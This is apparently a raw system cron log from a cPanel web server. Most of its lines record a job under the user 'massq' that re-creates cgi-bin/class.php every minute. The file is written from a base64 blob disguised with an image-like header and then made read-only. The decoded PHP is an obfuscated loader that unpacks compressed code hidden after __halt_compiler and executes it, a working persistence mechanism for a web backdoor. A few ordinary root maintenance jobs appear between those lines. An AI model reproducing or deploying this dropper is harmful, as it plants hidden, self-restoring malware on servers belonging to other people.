Nov 11 20:42:01 server CROND[26972]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:42:01 server CROND[26973]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 20:43:02 server CROND[27798]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:44:01 server CROND[28519]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:45:01 server CROND[29346]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 20:45:01 server CROND[29348]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 20:45:01 server CROND[29347]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:46:01 server CROND[30231]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:47:01 server CROND[31063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:48:01 server CROND[31682]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:49:01 server CROND[32505]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:50:01 server CROND[886]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 20:50:01 server CROND[888]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:50:01 server CROND[891]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 20:50:01 server CROND[890]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 20:50:01 server CROND[889]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 20:51:01 server CROND[1841]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:52:01 server CROND[2660]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:53:01 server CROND[3489]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:54:01 server CROND[4403]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:55:01 server CROND[5100]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
